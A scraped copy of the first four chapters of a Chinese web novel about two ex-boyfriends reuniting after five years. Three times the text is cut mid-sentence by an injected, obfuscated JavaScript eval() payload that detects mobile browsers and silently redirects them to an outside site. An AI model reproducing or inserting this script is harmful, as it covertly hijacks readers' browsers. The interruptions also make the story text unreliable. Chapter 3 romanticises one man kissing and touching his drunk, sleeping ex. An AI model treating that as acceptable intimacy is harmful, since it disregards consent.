《走肾关系[破镜重圆]》 1. N.久别重逢 夏风将簇叶裹挟,夕阳也爬上了高墙,八中后门的几家烧烤店伴随着放学铃声陆续支起了摊。 这条街不算大,与老破旧的校区一样衰败,临街的独栋一楼被改装成了不正规的商铺,密密麻麻地挤满了各式各样的小店,和路上被放学人流挤成一排的汽车有一拼。 江川的理发店也在这里,十分不起眼。他用力按了几下音响上的音量键,屋内的音乐声瞬间盖过外面焦灼刺耳的鸣笛。 “怎么触摸,开花沼泽……” 走到店门口,他将洗好的毛巾搭在晾晒架上,跟着曲调哼唱:“当我找到你,试探你眼睛——” 落日余晖倾洒而至,将眼前的水泥地映得发黄发亮,一抹绀青色的影子悄无声息地攀过来,一点点将他罩在阴影中。 江川一侧眸,与喝着冰镇可乐的人对上了眼,下一句歌词像卡带似的卡在了喉咙里。 瞬息之间,耳边的声音全部消失,仿佛整个世界都被人按下了静音键,只剩下模糊得像电影插曲的音乐—— “那是我,仅有的温柔也是我爱你的原因。” 吉他间奏一下接一下的响起,江川目不转睛地看了半晌才回过神,“回来参加你爸的葬礼?” 五年没见,少年稚气褪尽,气质也愈发冰冷,像一把开了刃的寒刀,锋芒毕露。他望过来的眼里满是嘲讽,双唇一张一合,冷冷淡淡地怼了一句:“关你屁事。” 江川笑着扶了下眼镜,眼里却没什么笑意,仿佛微笑只是一种习惯,“怎么还跟个刺猬似的。” 喝可乐的人斜睨着他,目光落在他左耳戴着的黑曜石耳钉上,几秒后又收回视线,将易拉罐扔进垃圾桶,砸出“咚”地一声。 “晦气。” 丢下这一句,他转身走了。 江川在嗓子底笑了一声,向后一靠倚着玻璃门,目不转睛地凝望着渐行渐远的身影。 发型没变,还是狼尾鲻鱼头,但刘海和发尾挑染了雾霾蓝,一撮撮蓝毛配上那张高级厌世脸,给人一种漫不经心的冷感,拽酷十足。 “真回来了?”嵇野叼着一根烟走出来,蹲在门口,顺着他的目光看过去。 “好歹是亲爸。”江川敛起笑容,转身进店。 “这一排起码有七八家小超市儿,他干嘛特意跑你店儿隔壁买可乐?”嵇野说话跟含了块糖似的,语调抑扬顿挫得像在说单口相声。 “不知道。” “反正你也没放下,要不复合试试?” “哪那么容易。” 江川瘫在门口的沙发椅上,闭着眼睛,没有再说话的意思。 看出他不想说,嵇野独自吞云吐雾了一会儿,徒手灭掉烟蒂,说:“那什么,老伍说一会儿去‘算了’喝酒。” 老伍是江川最好的朋友,在冲浪俱乐部做私教,唯一的爱好就是下班找人喝酒。 他没什么兴趣,“不去。” “得儿。”嵇野没再自讨没趣,起身找隔壁店的大爷下象棋去了。 * 冷饮店生意红火,方清珏想买杯芒果沙冰,硬是挤在一群学生后面排了十几分钟的队。 好不容易叫到他的号,他赶紧拿着沙冰杯走了,可排队时琢磨了半天江川,如今那张脸盘踞在脑海里挥之不去了。 不知道这人哪根筋没搭对,居然蓄起头发留了个长中分,模样倒是一点也没变,只是看起来更知性,更有魅力,像成熟中带着点雅痞的那种斯文败类。 方清珏面无表情地吸了一口冰沙,心道,店里那男的是谁,新欢么?看起来有点眼熟,但又想不起来是谁。 算了,爱谁谁。 几步走到隔壁店门口,他眉眼轻抬,隔着玻璃门与穿着白衬衫,坐在他占的桌位上的江川对上了视线。 天色微沉,店里的灯全打开了,看起来比外面还要亮,衬得那双眼睛异常明亮,像颗莹润净透的琥珀糖。 坐在江川对面的人也回过了头,看过来的一瞬间笑着朝他招了招手。 ……怎么老伍也在。 手指悄无声息地收拢,沙冰杯被握得有些变形,甚至整个人都被冰得有点发颤,方清珏默然几秒才打开门,冷着脸朝几人走了过去。 刚刚叫的那份鱼丁就放在江川的胳膊旁边,整个桌子也只有他旁边的座位空着,像是特意留出来的。 前任再度相见,比的就是谁更云淡风轻。 方清珏将椅子往外拽了一下才坐下来,正准备从筷笼里拿筷子,隔壁的人就递过来一双。 江川:“待几天?” 他语气温和,态度自然得像多年没见的老友。方清珏另掰了双筷子,尽量让自己不那么刻薄:“明天就走。” “这样啊。”江川倒是不尴尬,顺手将筷子搁在了桌上。 “咋就你自己回来了呢?”老伍是东北人,说话带点儿那边的口音。 方清珏学着他的语气反问:“不然呢?” “也是嚎。”老伍心想,这老头子作孽太多,父子情早就断了,换他他都不可能回来,“听说你在大海的另一边儿学医呢?” 方清珏登时心口一紧,赶忙瞥了一眼身边的人,见江川安静地吃着肉臊蒸蛋,没什么反应,才松了一口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139891|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“有问题?” “说话还跟个炮仗似的,”老伍哈哈一笑,没计较他的态度,“学医好啊,川哥当年做梦都想当牙医呢,现在也只能继续做做梦了。诶,对了,你是哪科啊?” 方清珏:“……” 他实在不想和这个二百五说话,没想到这二百五看他不吱声,顿时悟了,“不会是牙科吧!” 操。 毁灭吧! 方清珏扔下筷子,刚准备起身,便感觉衣角被旁边的人抓住了。 “订酒店了么?”江川问。 他僵硬地回了一句:“嗯。” “哪家?” “后街那家。” 江川点点头:“明天几点的飞机?” “关你屁事。”方清珏彻底装不下去了,用力将衣角拽了回来,带着点割袍断义的气势,“我和你又不是能送机的关系。” “那是可以一桌吃饭的关系么?” 他忍无可忍地从牙缝里挤出来几个字:“我不是坐这呢?” “哦。”江川眼尾一弯,“我以为你不愿意呢。” 方清珏顿时无语住了。 “叮铃铃——” 玻璃门上的铃铛响了几声,一个高高瘦瘦,模样颇为俊朗的男人走了进来。 他穿得很休闲,衣服上没有logo,看起来像是再普通不过的游客,身上却散发着与苍蝇馆格格不入的贵气。 “秦朗,”坐在老伍旁边的糙汉抬了下手,“这儿。” 来人点了点头,朝这边走过来,老伍喊了声朗哥,抬起身后的椅子加在江川旁边。 方清珏抬眼看过去,眸光顿时冷了下来。 是他。 五年前,江川劈腿的那个大学生! “有个会,来晚了。”秦朗说。 老伍摆了摆手:“没来晚,我们还没过去呢。” 秦朗坐下来,目光落向这边,不着痕迹地打量了方清珏几秒,然后扭头对江川说:“你不是不去吗,怎么又改主意了。” 江川:“我善变啊。” 秦朗无奈地摇了摇头,将话题岔开聊起了别的,桌上的几个人你一言我一语聊得挺欢,连一直没怎么说话的糙汉话都变多了,没谁再看过来一眼,仿佛方清珏只是空气。 方清珏也没再说话。 他的目光在江川和秦朗之间来回游离,脸色越来越沉。 “啪!” 筷子被重重撂在桌子上,方清珏冷笑一声,移眸看向江川。 “不是玩玩而已么。”他咬牙切齿道,“怎么,这回你就不腻了?” 2. N.小三非三 江川瞥了一眼坐在右侧,或者说是挤在过道里的秦朗,笑道:“是啊,怎么了?” 后面三个字,他是看着方清珏说的。 方清珏眸心一缩,瞬间连呼吸都凝滞住了。他蜷起手指,强压下心底翻涌不止的屈辱和心寒,不知道为什么竟然有点想笑。 “没怎么。”他很轻地扯了下唇角,“挺好的。” 不知是不是受到了感染,江川勾起唇角笑得更深,白炽灯在透明镜片上落下两道冷色调的光斑,遮住了他的眼神,令他看上去有些冷。 说来也怪,他明明笑着,却看得人心里发憷。 方清珏收回视线,低头吃饭,没注意到坐在对面的老伍瞬间变了脸,秦朗也没再说话。 桌上乍然安静下来,显得气氛有些紧张,连空气都有些沉。 “嗡——” 一声震动打破寂静,秦朗拿起桌上的手机,低头回了条消息。 就进屋这一会,他起码回了十几二十条消息,这频率一看就是在和对象聊天。 可他对象不就坐在他旁边么? 方清珏狐疑地抬起头,见对面两个人都看着自己,那神情仿佛已经看穿了他的伪装,搞得他一秒钟都不想再待下去了。 “我还有事,先走了。”他兀地站起身。 江川紧跟着站起来,“我送你吧。” 闻言,方清珏下意识看了一眼秦朗。 他低着头,专心致志地回消息,一点反应都没有,连个眼神都没分过来。 仿佛根本没把他放在眼里。 “不用!” 自尊被碾压殆尽,早就没有什么脸面可言了。方清珏无比后悔处理完方一航的遗体后不回酒店,居然溜到育才街看那间破理发店。 也许是伤心过度,胃也疼得离谱,他大步流星走出鱼丁店,站在路边的银杏树下,一弯下腰就哇地一下吐了出来。 短短几秒钟的时间,他将刚吃下去的砂锅鱼丁连带着几小时前在动车上吃的快餐混着酸水一起吐了个干净,吐得眼泪横流。 胃空了的时候,心也空了,难过如泄洪般波涛汹涌,无声地将他吞噬。 他知道。 五年前就知道。 他才是这段感情里的小丑。 回来前,他不是没想过两个人再见面的场景,想着他身边是不是换了人,换了多少人,再见面会不会陌生,会不会根本认不出来自己,或者压根就忘了有他这么一号人。 想象中的画面千千万,唯独没想过他对自己的态度与当初别无二致,仿佛他们是许久未见的旧友,显得阴阳怪气到连饭都吃不下去的自己特别丢人。 “怎么吐了?”江川不知何时走到身侧,塞过来一瓶矿泉水,“你在这等会儿,别瞎走。” 凭什么听你的。 可没等他开口,江川就已经跑远了。 他看了会儿手里的矿泉水才拧开瓶盖,含了一口水漱了漱口,又扶着树缓了一会儿,才感觉排山倒海的痛意淡了下去。 许是吃完饭了,老伍他们都走了出来。秦朗走在最后,举着个电话,像是在和谁打电话。 方清珏听见他低低地嗯了一声,用很温柔的嗓音说:“当然想你。” 方清珏:“?” 他没忍住,刚灌到嘴里的水全喷了出来,刚好喷了打面前经过的老伍一身。 “卧槽!”老伍吓得往后跳了一下,“方仔,你是不是报复错人了!” 方清珏用手背抹了下嘴,略显抱歉地说:“……对不住。” 跟在他身后的糙汉子蹲在地上嘎嘎乐,老伍瞪了他一眼,说:“算了,我回去换一身,你们先去吧。” 没多久,秦朗挂了电话。方清珏连忙走过去,问:“你刚刚在和谁打电话?” 没等秦朗开口,蹲在一旁抽烟的糙汉抢答道:“还能是谁,未婚妻呗。” 方清珏顿时睁圆了双眼:“你有未婚妻?!” “很奇怪么?” 秦朗皱了皱眉。 “谈多久了?” 方清珏追问。 不熟的人聊这种话题多少有点越界,秦朗垂眼打量着他,神色有几分不悦。 方清珏等了几十秒,见人不回答,一把薅住秦朗的衣领往面前一拽,急冲冲地喊了出来:“我问你谈了多久了!” “十年了。”糙汉再次替他回答,“人两高中就在一起了,现在都要结婚了。” 十年了。 十年了! 那五年前到底是怎么回事? 一个荒唐的念头闪过,方清珏喉咙发紧地问:“所以五年前,你和江川在丽都大厦……是在给你未婚妻挑礼物?” 秦朗正在低头整理衣领,闻言沉思了几秒才抬眼看过来,一脸警惕地反问:“你怎么知道?” 方清珏深呼吸一口气,感觉自己像一架与中控台失去联系导致错航的飞机。 可是为什么? 是害怕直说甩不掉他,所以才拉秦朗当挡箭牌吗?就像今天故意带秦朗在他面前晃悠一圈一样? 这一刻,方清珏遍体生寒,恨意更加汹涌,刚吐过的胃又泛起了恶心。 江川气喘吁吁地从街道另一端跑回来,递过来一盒胃药。 这条街没有药店,药店在后街,离得不算近。 而且,他喘成这样,明显跑得很急…… “发什么愣。” 江川打开药盒,扣出几粒药强硬地塞了过来。 方清珏愣愣地看着被触摸过的掌心,喉结滚动几圈,脑子里挤满了问号。 蹲在地上的糙汉抽完了一根烟,徒手掐灭,语气散漫地问:“他去不去?” 江川:“他一向不喜欢那种地方,嫌吵。” 方清珏一听,立刻明白他们要去什么地方了,不由得啧了一声,“你很了解我?” 江川:“应该比别人多了解一些。” “多?”方清珏觑他一眼,“你指的哪方面?” 这句话有点暧昧,江川听罢什么都没说,只回了个意味深长的笑。 夜幕一点点笼罩而来,最后一丝天光也消失殆尽,昏黄的街灯将黑夜晕染成模糊的黛青色,也模糊了江川的轮廓,令他看起来比朦胧的月色还要温柔。 方清珏不自觉地攥紧了掌心的药丸,几秒后又松开,低下头,就着矿泉水把药吃了下去。 一丝冰凉划过喉咙,凉透的心却突然有了乍暖还春的迹象。 “你们怎么还没走?”老伍小跑着回来了。 江川:“等你呢。” “真的?”他有点受宠若惊。 方清珏拍了一下老伍的肩膀,“胖子,刚才对不住。” “光嘴上表达歉意,一点行动也没有?”老伍不满,“今晚你请客!” 秦朗掏出车钥匙,按响了路边的卡宴。老伍笑着钻进副驾驶,朝江川使了个眼色,“川哥开我车过去吧,我这辈子还没坐过保时捷呢!” 江川没什么表情地嗯了一声。 秦朗和糙汉子都陆续上了车,几个人默契地将他扔给江川和那辆旧SUV,走了。 月影婆娑,路灯将人的影子拉得好长,绿化带里的月季花开得正盛,清风一吹,空气里满是熟悉的馥郁芳香。 许是晚风太温柔,许是胃药起了作用,方清珏这会儿才像活过来了似的,眼神亮了些许。 “傻站着干嘛。”江川打开副驾驶的门,朝他抬了抬下巴,“上车。” 方清珏没理他,转身打开了后车座的门。 “小刺猬。”江川低柔的嗓音随着夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139892|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风一起划过耳畔,“你这是拿我当司机?” 方清珏心口倏地一跳,登时跟被人点了穴似的,一动也不能动了。 江川走过来关上后车门,将他拽到副驾驶门口,不由分说地塞了进去。 SUV疾驰在夜色中,车里的两个人都没有说话。余光里,坐在副驾驶的人脸色很臭,耳根却红着,双目有些放空,不知在想什么。 江川单手握着方向盘,另一只手很随意地搭着车窗舷,嘴角翘得越来越高。 车子停下来的时候,方清珏才回过神来。他解开安全带,状似随意地问:“你那个男朋友到底是怎么想的?” 江川:“?” “把你丢下,还让你开车载你前男友。”方清珏盯着他,目光很认真,像是想通过他的表情辨认出什么,“就不怕我路上和你同归于尽?” “殉情么?”江川很淡地扬起唇角。 方清珏嗤笑一声,“殉个——” “听起来还不错。”江川偏过头来。 方清珏一怔。 这已经不知道是今晚第几次对视了,但这一次,和以往哪次都不同。 江川的瞳色很浅,眼神却很深,看起来黢黑黢黑的,像车窗外浓郁无垠的夜,“那你要和我死在一起么?” 察觉到他没在开玩笑,方清珏双眼一眨不眨地看着他,眼神锋利得像是要把他看透。半晌,他扔下一句“有病!”打开车门走了出去。 酒吧的装潢布置和当年一样,方清珏轻车熟路地往里走,坐在卡座里,掏出了手机。 老伍:“方仔不玩吗?” “不玩。” “那你来干嘛?”江川走过来,坐在旁边。 他坐得不近,两个人中间还隔着半个人的距离,但方清珏还是往里挪了挪,胳膊随之贴上了墙壁。 “来买单。” 老伍一听,乐了:“还是方仔爽快,来,这个也来一打。”后一句话是对服务生说的。 他们这一行人长得都很亮眼,一来就吸引了不少目光,屁股还没坐热就有人过来搭讪。 秦朗谁都没理,拉着糙汉专心致志地玩骰子,江川倒是来者不拒,顺势往方清珏这边挤了挤,给人让位置。 这一挤,他和方清珏之间便完全没有了缝隙,挨得很近,几乎是肩膀抵着肩膀,胳膊贴着胳膊。 夏天,方清珏穿着T恤,江川穿的衬衫也是半袖,两个人肌肤相贴的一刹那,胳膊登时被点燃了,火苗蹭得一下窜了满身。 嘈杂的喧嚣声瞬间弱了下去,模糊到听不真切,仿佛整个世界只剩下他们两个人。他默不作声地往前挪了挪,上身微倾,胳膊肘压着膝盖,与江川错开了位置。 “喝吗?”坐在斜对面的糙汉递过来一杯用可乐调的鸡尾酒。 “他喝不了。”江川拦了一下。 糙汉无奈地耸了耸肩,扭过头继续与秦朗摇骰子。 错落的光影打在他棱角分明的侧脸上,方清珏凝视着他的侧脸,猛地想起来,这人不是国内风头正盛的GP赛车手嵇野吗! 怪不得会觉得眼熟,他蓄起了胡子,穿得也有点不修边幅,若不是那张性-张-力十足的脸和玩世不恭的眼神,真的差点没认出来。 可他怎么会和江川认识? 方清珏低眉垂眼地捏了捏手指,随即就拿起了桌上的鸡尾酒,“我倒是好奇,你用什么身份拦这杯酒。” 江川:“我也算得上你哥吧。” “你算哪门子的哥。”他一口喝光,赌气似的说,“再来一杯。” 嵇野拿起酒瓶想给他续上,江川立刻捂住了杯口,“他胃不舒服,不能再喝了。” “你不去管你男朋友,倒是跑过来管我。”方清珏说,“怎么,你还想新欢旧爱雨露均沾?” 3. N.走肾关系 老伍只是去舞池跳了一会儿,回来就发现说好要付账的人不见了,“方仔呢?” 嵇野:“喝多了,江儿带他回去了。” “回去了?回哪儿?”老伍眼睛瞪得老大,“他知道方仔住哪儿?” 嵇野一言难尽地看着他,“胖子,你不会还是个雏儿吧?” “老子可是身经百战!” 嵇野笑着反驳:“个屁。” “操!”老伍不服气,“我这是相信我兄弟,方仔喝多了,胃还不舒服,他才没这么禽兽!” “赌不赌?”嵇野摸出一根烟叼在嘴里,“一千块,我压江儿是个禽兽。” “赌就赌!” “成交。” 与此同时,在兄弟眼里只值一千块的禽兽好不容易将方清珏背回了家,扔在床上。 T恤衫和工装裤还是太肥大了,大到模糊了方清珏的真实身材,将人背起来的那一刻,江川才意识到他不是瘦了,而是瘦了太多太多。 再瘦下去都要皮包骨了,怪不得能被挑中去当模特。 江川坐在床边看了他一会儿,起身去客厅的药箱里翻解酒药。 等他端着药和一杯蜂蜜水再回到卧室时,床上的人已经打起了轻微的鼾声。 江川拍了拍他的肩膀,“醒醒,喝完药再睡。” 方清珏依旧闭着眼,看起来没有醒,嘴巴却微微张开了一道缝。 江川好笑地摇了摇头,将药塞进他嘴里,静静地等了一会儿,见他一直都没有吞咽的动作,只好嘴对嘴地喂他喝了一口蜂蜜水。 甘甜的液体滑进口腔,熟睡的人仿佛醒了过来,咽下去的同时睁开了眼。 这一眼睁得突然,江川没来得及起身,就这么贴着他的唇和他四目相对。 方清珏双眼微睁,睫毛半遮着迷离而散漫的眼神,整个人都柔软了下来,像一只敞开肚皮予取予求的绒猫,乖巧动人。 江川的喉结滚动一圈,忍不住伸出舌头,舔了一下他的下唇。 方清珏没什么反应,依旧痴痴地看着他,眼睛一眨都不眨。 卧室只开着一盏小夜灯,显得周遭很昏暗,暗得有些暧昧,暧昧得很有气氛。 方清珏安静地,专注地望过来,眼神格外的深,像把无言的钩子,勾着江川再次瞬间伸出了舌头。 软舌倏地闯进了牙关,终于触碰到久违的那抹柔软,江川用力抓紧了床单,情不自禁地偏过头加深了这个吻。 他动作轻柔而缓慢,像是怕惊扰了这片刻的旖旎时光,却越吻越深,鼻息也越来越急促,手不由自主地探进衣摆,就像一堆被酒精灌溉过的篝火,烧得噼里啪啦,可身下的人却越睡越熟,没半点反应。 方才还微睁的双目不知道什么时候又闭上了,喘息也均匀绵长,江川停了下来,怀疑他的舌头不归脑子管,回吻的动作只是多年习惯养成的肢体记忆。 他趴在方清珏的身上,头埋进颈窝,指腹不断摩挲着另一侧脖颈的肌肤,自嘲似的笑了出来。 * 一觉醒来,方清珏第一反应是头疼,第二反应是胃难受,第三反应是有点迷茫。 眼前的屋子他很熟悉,这是陈婆生前的卧室,后来江川也在这个房间住过一段时间。 这么多年过去,这屋里的变化并不大,连窗帘都没变,只是照过去多了些音乐器材,看起来更像工作室了。 他阖闭双眼使劲回忆了一番,什么都没想起来,脑海里的记忆仅停留在瘫进酒吧沙发的前一秒。 又断片了。 方清珏轻叹一声,穿上鞋准备走人,没想到刚打开门就与站在门口,举着右手,正打算敲门的江川打了个照面。 这人一看见他,噙在唇角的笑就变得有些莫名,像是在回味什么似的,整个人肉眼可见地愉悦了起来。 比昨晚还要愉悦。 方清珏狐疑地看着他:“你笑什么?” “看见你就高兴啊。”江川放下手,语气自然地说,“饭好了,你去刷牙吧。” 方清珏听得一愣,宿醉后的大脑像一团浆糊,黏黏糊糊地团在一处,压根分析不出来这人为什么会突然这么暧昧。 他倚着门框,一动不动,语气分外冷淡:“你不会在饭里下毒了吧。” 闻言,江川朝他眨了眨右眼,“放心,毒死了我给你偿命。” 方清珏不动声色地打量着他,片刻后才开口:“你带喝醉的前男友回家,不怕秦朗误会?” 话音一落,江川眼里的笑意蓦然消失了,看过来的眼神里透着困惑,也有点审视的意味,像在判断着什么。 很快,他收回视线低低地哦了一声,转身朝餐桌走过去,声音淡淡的:“忘了这茬儿了。” “……”方清珏倒吸一口凉气,咬牙切齿地说:“你可真行。” “赶紧去刷牙,一会儿饭都凉了。”江川拉开椅子坐下。 洗手间就在左手边。 方清珏走进去,拿起洗漱台上的一次性纸杯,拆开牙刷的包装,洗漱完才反应过来——这洗漱台太干净了,除了他用的这两样东西,其他什么都没有,像被人特意清理过。 他甩了甩手上的水,推开门走出去,见江川拿着汤匙,低头喝着粥。 这屋子不大,洗手间和餐桌隔着几步远,一搭眼就能看见餐桌上的吃食,有小米粥,纸皮包子,豆酱麻叶,一旁的藤编果盘里摆着几颗海鸭蛋。 他的目光落在麻叶上,微微眯起了双眼。这东西在广东很受欢迎,北方人很少吃,港城都没有人卖,想吃只能网购。 而且,江川不喜欢吃麻叶,好这口的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139893|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自己。 方清珏倚着门框,在心里暗暗地啧了一声。 真是越来越看不透他了。 如果是旧情难忘,他不可能不解释秦朗,如果真的释怀了,为什么又暧昧不清。 有人曾说,旧情人就像一袋方便面,饥不择食时会吃一次,吃完就扔,永远不会成为餐桌的主菜。 所以,他这是无形中成为一袋可有可无的泡面了? 心思在一瞬间百转千回,方清珏的胸腔像堵了块石头,闷胀难忍。 “床单,被罩,枕头……我用过的东西你都扔了吧。” 他摸出手机,点开支付宝输入一串数字,搜索到一个无比熟悉的账户,“住宿费,车费以及床品报销费,我一起转给你。” “这……”江川不解地看过来:“没必要吧。” “有必要。” 一声清脆的铃音响起,江川扫了一眼手机,眉尾向上一扬,似是有些意外:“你还记得我手机号呢?” 方清珏听罢,脸色顿时变得很臭。 江川:“我能问为什么吗?” “哪来那么多为什么。”他不耐烦道,“你就当我不愿意被秦朗用我用过的东西吧。” 闻言,江川的眉宇缓缓舒展开,眼里多出一抹清浅的笑意:“那我不给他用不就好了?” 果然。 方清珏的心瞬间凉了半截。 “你在暗示我以后也可以来过夜?” “那你会来吗?” “过来干什么?” “那要看——”江川拉长尾音,压着嗓音慢悠悠道:“你想干什么。” 清晨的光分外柔和,衬得他漾在唇角的那抹笑也透出几许似真似假的温柔,连萦绕在周身的气息都变得更加淡定从容,好似如此暧昧的话语,对他来说只是信手拈来的事。 不分场合。 也无关对象。 方清珏眉眼沉沉地看着他,声音发凉,“当初是你劈的腿,这笔账该怎么算?” 江川悄然握紧了汤匙,声音很轻:“你想怎么算?” “出轨。” 江川:“?” “和我谈时,你出轨他。”他冷笑着,“和他谈时再出轨我,这很公平。” 江川:“??” 他愣了一下,然后就难以置信地看着他:“你确定?” “玩玩而已,不就是走个肾。”方清珏走到玄关,低头换上了鞋,“有什么确定不确定的。” 闻言,江川一贯笑着的脸上出现一瞬间的僵滞,随后,只听“嘭!”地一声巨响,方清珏摔门离开了。 他连忙起身追了出去,却没看见半个人影。 兜里的手机响了一声,是个海外账号发来的短信。 -八点来逅海1802。 4. N.困顿之局 江川在家闷到下午才去理发店。 太阳斜斜地照过来,理发店门口的地面上映出一道狭长的影子,嵇野就蹲在敞开的玻璃门前抽烟。 江川:“你是属地鼠的吗?有沙发不坐非得蹲这。” 嵇野抬头看过来,幸灾乐祸道:“哟,你怎么一副欲求不满的样儿,昨晚事儿没办成?” 江川瞥了他一眼,一声不吭地进店了。 嵇野的视线紧追着他,眼神有些一言难尽,“我是真没想到你丫的居然连禽兽都不如……” 江川听罢,特别纳闷地问:“你个搞强制爱的怎么好意思说我禽兽?” “所以说你禽兽不如啊。” “……”江川无语道,“懒得和你废话。” 他坐在门口的沙发上,嵇野便走过去挨着他坐下,“嗳,问你个事。” 江川:“说。” “你两……”他挑了挑眉,“谁上谁下啊?” 闻言,江川偏过头看他,脸上的笑容逐渐加深,两只眼睛也眯了起来,像一只蓄势待发的狐狸,莫名有些危险。 “得儿,我不问了。”嵇野立刻往远挪了挪。 一阵急促的铃音响起,他掏出手机一看,眉眼立刻耷拉了下去,连肩背都僵直了。 江川凝了凝眉,目光从他的脸挪到手机屏幕上,看见一个未保存的号码发来了几条短信。 -你奶奶的病又严重了,你要是还有点良心,就回来看看她。 -老人家只是想看你结婚生子而已,谁不是这么过来的?你要是不愿意相亲,遇上喜欢的带回来也行。 -连你哥都有对象了,你什么时候才能有着落。 这个妈发来的信息,每条都精准踩雷。 江川在心里叹了口气,抬手挡住手机屏幕,“别看了,这不一定是真的。” 嵇野收起手机,“连我妈都知道了,八成假不了。” 他从兜里掏出来一串车钥匙,低头摆弄着挂在钥匙扣上的猫爪U盘,不知道在想些什么。 江川:“这是什么?” 嵇野:“不当人的证据。” 闻言,江川立马想起了那个曾经被嵇野囚禁在地下室的便宜哥哥,当即扶了扶额角,不知该说些什么。 嵇野也没再开口,屋里的气氛骤然沉默下来,连空气都在无形中变沉了。 不知道过了多久,夕阳已经半隐在海水里,余晖与海浪碰撞出薄薄的云雾。嵇野蓦然起身进了偏屋,推出来一辆蓝色杜卡迪Superleggera V4,一直推到店外。 他长腿一迈跨坐在摩托车上,摘下挂在车把上的红色头盔套在头上,朝站在门口的江川扬了扬下巴,道:“颠儿了。” 江川轻点下颌:“慢点骑,别着急。” 下一秒,摩托车嗖地一下窜了出去,速度快得堪比闪电,眨眼间便看不见了。 江川望着摩托车消失的方向,掏出手机看了一眼时间。 七点半了。 * 方清珏忙完房产过户就回了酒店。 他这个不孝子继承了海角街的房子,却没有风光大葬方一航,还将遗体捐给了医院,不知道这人泉下有知会不会气活过来。 一天一夜没换衣服,身上都是酒味。他洗了个热水澡,将换下来的衣服送去洗衣房,等烘干的功夫掏出手机搜了搜秦朗的名字。 这个人居然是B市知名传媒公司——中秦影视的总裁! 奇怪,江川怎么会认识这号人物? 方清珏猛然发现,他还是没有想象中的那么了解江川。 像是为了配合他的伤心,胃不合时宜地抽抽起来,他这才想起一天没吃饭,顾不上什么衣服不衣服,立刻回房间冲了一袋养胃米稀,就着胃药一起喝了。 但这次胃没给面子,折腾得比以往哪次都疼。方清珏又扣了几粒止痛药吞下去,蜷缩在床上疼到失去了知觉。 再醒过来的时候,天已经彻底黑了,不用看都知道八点早过了。 江川没回那条信息,也没来过,这说明他并没有沦为一袋方便面。方清珏松了一口气,心里舒畅不少,然后就更疑惑了。 这人不想走肾,那他想干什么? 他完全没有解释秦朗的意思,不太可能是旧情复燃,难道只是单纯想玩玩暧昧? 靠,有病吧。 方清珏翻了个身,脸埋在被子里,感觉自己完全被江川玩弄在股掌之间,毫无挣扎的余地。 兜里的手机震了震,是房产中介问明天方不方便上门看房。他回了个电话,与人约好看房时间,便回了趟海角街老宅。 当年走的时候负着气,什么都没带,如今房子打算卖掉了,有些东西舍不得扔掉,便统统收了起来,抱到胡同口的快递站邮寄。 店老板将纸箱封好,称了称重。有个大爷从隔壁店走出来,停在门口歪头打量着他,声音略显诧异:“方仔?” 方清珏:“……” 店老板笑着和大爷打招呼,“七叔谁都认识呢。” “街坊嘛。”七叔意有所指地说,“他就是这半截胡同里的方家老二。” 话音一落,店老板立刻看了过来,目光变得复杂了许多:“你就是方家的小儿子?长得真俊啊。” 方清珏深深地吁了口气,有点后悔没走远点邮东西。 港城这个小地方,谁家丢个鸡蛋不出半天都能传得人尽皆知,方家这点破事更是人们茶余饭后的谈资。 也许是他的沉默滋长了店老板的八卦欲,这会儿连单子都不打了,凑过头来打听:“你们不是移民了吗?这是特意回来处理你爸后事?” “关你屁事?”方清珏不拿好眼神看他。 见他冷下脸,店老板赔了个不好意思的笑容,没再问什么,动作麻利地将快递单打出来,贴在纸箱上。 方清珏扫码付了款,正打算走,七叔又喊了他一嗓子,“你等一会儿,顺路把川儿的炸香蕉给他带回去,省得我还得给他送一趟。” “不顺路,”他顿了顿,又加了一句,“我不去他那。” 七叔一听,当即“咦”了一声,“这么晚了,你不回去睡觉又要去哪儿。” 方清珏张了张嘴,却不知道该怎么解释,只好硬着头皮进店,“那来碗馇条吧。” “好嘞!还是番茄鸡蛋卤吗?” 他嗯了一声,拿着铁盘站在冰柜前选炸串。 小镇人作息规律,尤其是那些需要出海的渔民,基本九点多就歇下了。这个时辰,整个港城也就海角街依旧人潮汹涌灯火通明,满大街都是游客。 但炸串店的生意很冷清,屋里只有他一个人。 七叔还站在门口,没有去后厨的意思,似乎也想打听点什么,“你爸他——” 方清珏立刻道:“死了。” “那你妈——” 方清珏依旧没给他问出口的机会:“没回来。” “哦。”七叔明白他是不想说,转而打听起了方程,“你哥怎么没回来呢?” “他两早离了。”方清珏将一盘串搁在柜台上,磕出不轻不重的声响,“方一航死不死活不活关他们什么事?” 